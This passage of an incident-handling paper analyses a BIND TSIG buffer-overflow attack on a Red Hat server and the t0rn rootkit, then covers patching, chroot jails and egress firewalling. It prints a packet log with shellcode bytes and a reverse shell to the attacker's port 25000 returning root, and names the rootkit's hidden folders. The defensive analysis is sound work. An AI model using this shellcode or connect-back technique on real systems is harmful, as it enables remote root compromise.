drwxr-xr-x 3 root root 4096 Apr 4 20:43 linux-2.2.12
drwxr-xr-x 7 root root 4096 Apr 4 20:45 redhat
Signature of the Attack
Following we have a TCPDUMP log of the TSIG exploit.
11:14:10.992237 mars.1024 > 10.0.0.3.domain: 276 TXT CHAOS)?
version.bind. (30)
0x0000 4500 003a 0000 0000 4011 66af 0a00 0002 E..:....@.f.....
0x0010 0a00 0003 0400 0035 0026 c4af 0114 0000 .......5.&......
0x0020 0001 0000 0000 0000 0776 6572 7369 6f6e .........version
0x0030 0462 696e 6400 0010 0003 .bind.....
11:14:10.992677 10.0.0.3.domain > mars.1024: 276* 1/0/0 CHAOS)
TXT[|domain]
0x0000 4500 0058 0000 0000 4011 6691 0a00 0003 E..X....@.f.....
0x0010 0a00 0002 0035 0400 0044 5d6d 0114 8480 .....5...D]m....
0x0020 0001 0001 0000 0000 0776 6572 7369 6f6e .........version
0x0030 0462 696e 6400 0010 0003 0756 4552 5349 .bind......VERSI
0x0040 4f4e 0442 494e 4400 0010 0003 0000 0000 ON.BIND.........
0x0050 0006 ..
11:14:10.993072 mars.1024 > 10.0.0.3.domain: 276 inv_q+ [b2&3=0x980]
(465)
0x0000 4500 01ed 0001 0000 4011 64fb 0a00 0002 E.......@.d.....
0x0010 0a00 0003 0400 0035 01d9 7613 0114 0980 .......5..v.....
0x0020 0000 0001 0000 0000 3e41 4141 4141 4141 ........>AAAAAAA
0x0030 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0040 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0050 4141 AA
11:14:10.994824 10.0.0.3.domain > mars.1024: 276 inv_q FormErr
[0q][|domain]
0x0000 4500 02ea 0001 0000 4011 63fe 0a00 0003 E.......@.c.....
0x0010 0a00 0002 0035 0400 02d6 a677 0114 8981 .....5.....w....
0x0020 0000 0001 0000 0000 3e41 4141 4141 4141 ........>AAAAAAA
0x0030 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0040 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0x0050 4141 AA
11:14:10.995199 mars.1024 > 10.0.0.3.domain: 276 [1au][|domain]
0x0000 4500 021a 0002 0000 4011 64cd 0a00 0002 E.......@.d.....
0x0010 0a00 0003 0400 0035 0206 c975 0114 0000 .......5...u....
0x0020 0001 0000 0000 0001 3c90 89e6 83c6 40c7 ........<.....@.
0x0030 0602 000b acc7 4604 97c4 47a0 31c0 8946 ......F...G.1..F
0x0040 0889 460c 31c0 8946 2840 8946 2440 8946 ..F.1..F(@.F$@.F
0x0050 208d ..
11:14:10.996774 10.0.0.3.domain > mars.1024: 276[|domain]
0x0000 4500 0231 0002 0000 4011 64b6 0a00 0003 E..1....@.d.....
0x0010 0a00 0002 0035 0400 021d 0570 0114 8080 .....5.....p....
0x0020 0001 0000 0000 0001 3c90 89e6 83c6 40c7 ........<.....@.
0x0030 0602 000b acc7 4604 97c4 47a0 31c0 8946 ......F...G.1..F
0x0040 0889 460c 31c0 8946 2840 8946 2440 8946 ..F.1..F(@.F$@.F
0x0050 208d ..
As we can see on the traffic showed above, the exploit verifies what version of Bind is running on the system and the memory address to be used to inject the shellcode. With this information, it's not necessary to send any NOP codes (hex 90), as we have usually associated with buffer-overflows.
11:14:10.996822 10.0.0.3.1025 > mars.25000: S 4161969304:4161969304(0)
win 32120 (DF)
0x0000 4500 003c 0003 4000 4006 26b5 0a00 0003 E..<..@.@.&.....
0x0010 0a00 0002 0401 61a8 f812 9c98 0000 0000 ......a.........
0x0020 a002 7d78 7cb5 0000 0204 05b4 0402 080a ..}x|...........
0x0030 0000 3f80 0000 0000 0103 0300 ..?.........
11:14:10.997262 mars.25000 > 10.0.0.3.1025: S 116958572:116958572(0)
ack 4161969305 win 16060 (DF)
0x0000 4500 003c 0003 4000 4006 26b5 0a00 0002 E..<..@.@.&.....
0x0010 0a00 0003 61a8 0401 06f8 a56c f812 9c99 ....a......l....
0x0020 a012 3ebc b46f 0000 0204 05b4 0402 080a ..>..o..........
0x0030 0009 5a83 0000 3f80 0103 0300 ..Z...?.....
11:14:10.997553 10.0.0.3.1025 > mars.25000: . ack 1 win 32120
(DF)
0x0000 4500 0034 0004 4000 4006 26bc 0a00 0003 E..4..@.@.&.....
0x0010 0a00 0002 0401 61a8 f812 9c99 06f8 a56d ......a........m
0x0020 8010 7d78 a478 0000 0101 080a 0000 3f80 ..}x.x........?.
0x0030 0009 5a83 ..Z.
11:14:11.000279 mars.25000 > 10.0.0.3.1025: P 1:14(13) ack 1 win 16060
(DF)
0x0000 4500 0041 0004 4000 4006 26af 0a00 0002 E..A..@.@.&.....
0x0010 0a00 0003 61a8 0401 06f8 a56d f812 9c99 ....a......m....
0x0020 8018 3ebc cb3d 0000 0101 080a 0009 5a83 ..>..=........Z.
0x0030 0000 3f80 756e 616d 6520 2d61 3b20 6964 ..?.uname.-a;.id
0x0040 0a .
11:14:11.000626 10.0.0.3.1025 > mars.25000: . ack 14 win 32120
(DF)
0x0000 4500 0034 0005 4000 4006 26bb 0a00 0003 E..4..@.@.&.....
0x0010 0a00 0002 0401 61a8 f812 9c99 06f8 a57a ......a........z
0x0020 8010 7d78 a46b 0000 0101 080a 0000 3f80 ..}x.k........?.
0x0030 0009 5a83 ..Z.
11:14:11.074277 10.0.0.3.1025 > mars.25000: P 1:69(68) ack 14 win 32120
(DF)
0x0000 4500 0078 0006 4000 4006 2676 0a00 0003 E..x..@.@.&v....
0x0010 0a00 0002 0401 61a8 f812 9c99 06f8 a57a ......a........z
0x0020 8018 7d78 f069 0000 0101 080a 0000 3f88 ..}x.i........?.
0x0030 0009 5a83 4c69 6e75 7820 7361 7475 726e ..Z.Linux.saturn
0x0040 2032 2e32 2e31 322d 3230 2023 3120 4d6f .2.2.12-20.#1.Mo
0x0050 6e20 n.
11:14:11.074355 mars.25000 > 10.0.0.3.1025: . ack 69 win 16060
(DF)
0x0000 4500 0034 0005 4000 4006 26bb 0a00 0002 E..4..@.@.&.....
0x0010 0a00 0003 61a8 0401 06f8 a57a f812 9cdd ....a......z....
0x0020 8010 3ebc e2d4 0000 0101 080a 0009 5a8a ..>...........Z.
0x0030 0000 3f88 ..?.
11:14:11.077315 10.0.0.3.1025 > mars.25000: P 69:93(24) ack 14 win
32120 (DF)
0x0000 4500 004c 0007 4000 4006 26a1 0a00 0003 E..L..@.@.&.....
0x0010 0a00 0002 0401 61a8 f812 9cdd 06f8 a57a ......a........z
0x0020 8018 7d78 8868 0000 0101 080a 0000 3f88 ..}x.h........?.
0x0030 0009 5a8a 7569 643d 3028 726f 6f74 2920 ..Z.uid=0(root).
0x0040 6769 643d 3028 726f 6f74 290a gid=0(root).
11:14:11.086701 mars.25000 > 10.0.0.3.1025: . ack 93 win 16060
(DF)
0x0000 4500 0034 0006 4000 4006 26ba 0a00 0002 E..4..@.@.&.....
0x0010 0a00 0003 61a8 0401 06f8 a57a f812 9cf5 ....a......z....
0x0020 8010 3ebc e2ba 0000 0101 080a 0009 5a8c ..>...........Z.
0x0030 0000 3f88 ..?.
When the exploit runs, the compromised system connects on the attacker's machine at the port 25000/TCP. Now the intruder owns the system.
It's important to note that this exploit doesn't leave any signal of activity on the syslog, so the only way to detect it is using a Sniffer or an Intrusion Detection System, like Snort (http://www.snort.org).
It's really difficult to detect intruder's activities after the rootkit installation. The folders used by the t0rn rootkit are:
/usr/src/.puta
/usr/info/.t0rn
However, the only safe way of detecting such installed software is using a CD with trusted binaries (more details, please refer to Preparation on Incident Handling Process Section) and perform an external port scanning (more details, please refer to Identification on Incident Handling Process Section).
How to protect against it
Applying Patches and removing unnecessary Services
Definitely this is one of the most important issues that a System Administrator must address. Most of the attacks happen because the systems are not patched. Usually the System Administrators don't have time to correct the software bugs. There are times where the systems are so critical that it's almost impossible to stop the services due to a necessary reboot.
Another problem related to applying patches is that, sometimes, the systems might simply stop working after the installation. Of course, the ideal situation should be to apply the patches on test environments, but actually we know that this is not always possible.
There are several links on the Internet for the Administrator keep current with the latest security advisories. The main Linux distribution links, related to security, are listed here:
http:/distro.conectiva.com/seguranca/
http://www.slackware.com/lists/archive/list.php?l=slackware-security&y=2002
http://www.suse.com/us/support/security/index.html
http://www.linux-mandrake.com/en/security
And a few general security sites:
http://www.linuxsecurity.com
http://www.securityfocus.com
http://packetstormsecurity.com
http://www.iss.net/security_center/alerts/
Some distributions like Conectiva, Mandrake, Redhat have good tools for updating their systems, but by far the best approach for system update comes from the Debian project and its famous apt (a front end for Debian packages manipulation). With just two commands, it's possible to maintain the system up to date:
# apt-get update
# apt-get dist-upgrade
Before trying to update the system, run the apt-setup command to select sources where you will get updates.
# apt-setup
As we are using a Red Hat box, here we have the link to RedHat Security Alerts:
http://www.redhat.com/apps/support/errata/index.html
Once we download the RPM's, it's just a matter of typing:
# rpm -Fvh
Now that the system is updated, we need to disable all unnecessary services. If the system is a FTP Server it does not make sense to let other services active, like DNS in our scenario. Basically, we have two ways of disabling services on Linux boxes. We can edit the /etc/inetd.conf file or rename the /etc/rcX.d scripts.
When we want to disable a service controlled by the inet daemon, it's just a matter of editing the /etc/inetd.conf file and including a # character at the beginning of the line, just like the following example:
# telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
Then the daemon needs to be restarted, via the following command:
# kill -HUP
# mv /etc/rc.d/rc3.d/S11portmap /etc/rc.d/rc3.d/s11portmap
On the above example, the portmap service will not be started during the boot process. To stop the active service without the need of a reboot, we can use the following command:
# /etc/rc.d/rc3.d/s11portmap stop
Using a chrooted environment
Services that listen on ports lower than 1024 must be run with a privileged user (usually root), because ordinary users cannot start daemons to listen at these ports. This is a security issue because if the software (daemon) has a bug and an attacker might run arbitrary commands, the break-in context will be at the root level.
To avoid such level of compromise one can create a "chroot jail" where the Service starts as root (to bind the low port) and then changes the context to a regular user, with no privileges on the system. The idea behind the chroot configuration is to avoid the entire system compromise, even if the daemon has a bug.
This idea can be expanded to services like DNS, FTP, WEB. Following, several links to configure chroot jails on some daemons:
Bind: http://www.tldp.org/HOWTO/Chroot-BIND-HOWTO.html
Apache: http://penguin.epfl.ch/chroot.html
WU-FTP: http://zeck.netliberte.org/Linux/lecture.php?fic=wuftp_chroot
Firewall configuration
A simple network topology modification could have avoided the rootkit installation. In our case, the installation of the rootkit on the saturn Linux box was quite easy because there was no Firewall protecting it. Of course Firewalls are not the only solution, but it helps a lot.
For example, we could deploy a firewall with iptables (for Kernel 2.4) or ipchains (for Kernel 2.2). In this configuration we would allow just the port 53/TCP (just in case we needed to allow zone transfers) and 53/UDP to our hypothetical DNS Server and, most important of all, don't allow any service to the Internet or any other network segment.
With this deployment, it wouldn't be possible to run the TSIG exploit, because the target system tries to connect to the 25000/TCP port of the intruder's machine. Even if we could run other exploits, it would be quite difficult to download any software (including rootkits) to the compromised systems.
We can see such network deployment in figure 4.
The conclusive idea here is that is very important to limit outgoing traffic, specially from the DMZ. This approach will difficult the upload of external software.
Figure 4- Firewall deployment to help avoid rootkit installations
